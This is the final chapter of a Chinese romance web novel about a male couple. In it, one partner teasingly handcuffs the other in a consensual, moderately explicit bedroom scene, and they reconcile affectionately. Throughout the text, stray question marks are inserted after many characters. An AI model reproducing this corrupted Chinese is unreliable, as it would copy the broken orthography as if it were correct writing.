他们去看兴安杜鹃,去看美丽的极光,郁书青陪着徐矿准备画展,徐矿每天都接郁书青上下班,隔段时间也会拌嘴,但当天就能和好,哪怕是现在郁书青这么生气,也只是把徐矿赶出卧室—— “别怕,”郁书青懒洋洋的,“又不会真的让你?睡大街。” 徐矿跪坐在床上,胸口剧烈起伏:“……你?还不如让我睡大街。” 本?来郁书青出差,就两周没见?到对方,回来还没亲上嘴呢,被连着和橡胶勾八一块儿扔出房间,满打满算,徐矿已经半个多月没搂着郁书青睡觉了。 他什?么时候受过这样?的苦! 而?更?可怕的是—— 徐矿闭上眼睛,喉结滚动。 “睁开,看我啊,”郁书青的脚踩在对方肩膀上,“你?不是很喜欢吗?” 是喜欢,徐矿喜欢得要死了。 关键是他的两手被禁锢着,完全动不了。 买来的手铐用在了自己身上。 完全无?法?碰到郁书青身上的锁链。 徐矿不敢看。 “我以为你?会喜欢呢,”郁书青用了点力气,碾着男人肩上那浅浅的咬痕,“结果?……你?行不行啊?” 这不是徐矿能决定的事。 郁书青上半身没什?么衣物,只有几圈泛着银光的锁链,不规则地绕在洁白细腻的肌肤上,从肩颈到窄腰,稍微动一下,就能听?见?微微的铃铛响,链环的设计很繁复,除了那精巧的小铃铛外,还有莹白的珍珠与贝壳串珠,缀着的流苏和圣洁的羽毛。 让人忍不住地想,若是扯一下,会让美丽的青年露出什?么样?的表情。 而?下面,则是勒得有些紧的黑色蕾丝,在大-腿上掐出微微肉-感。 郁书青很满意徐矿的表情。 只许看,不许吃。 徐矿是真的要受不了了。 都快入冬了,房间里的温度却逐渐暧昧地升高,徐矿焦灼地吞咽了下,死死地盯着郁书青的脚。 “宝宝,” 他沙哑着嗓子:“你?变坏了。” 郁书青不为所动:“真遗憾,我一开始也没好到哪儿去。” “不,”徐矿喘着气,摇了摇头,“你?一直都很乖,很可爱,你?是天底下最好的人。” 徐矿从不吝啬对郁书青的赞美。 哪怕被嫌恶心,说太腻了,他也满不在乎地抱着人,说我真的是这样?想的,我就要天天夸你?,我好爱你?的。 踩在肩膀上的小腿收回去了,郁书青坐直身子,定定地看着对方:“那,如果?我把你?解开,你?会对我做坏事吗?” 徐矿口干舌燥:“会。” “好。” 郁书青脸颊也泛着红,跟人闹别扭这几天,说实?话,他也没睡好,今晚给人折腾一顿,算出气了。 因为他真的怕,继续撩拨下去,被逼到极致的徐矿会受不了,给他吃得渣都不剩。 手铐落在床褥上。 徐矿活动着手腕,抬眸看向郁书青:“你?知道,我现在最想干什?么吗?” 郁书青忍着笑:“嗯。” 黑暗的卧室里,月光明亮,郁书青仰起了脸。 徐矿的吻,落在了他的唇上。 “我想亲亲你?。” “知道……我也爱你?。” (正文完)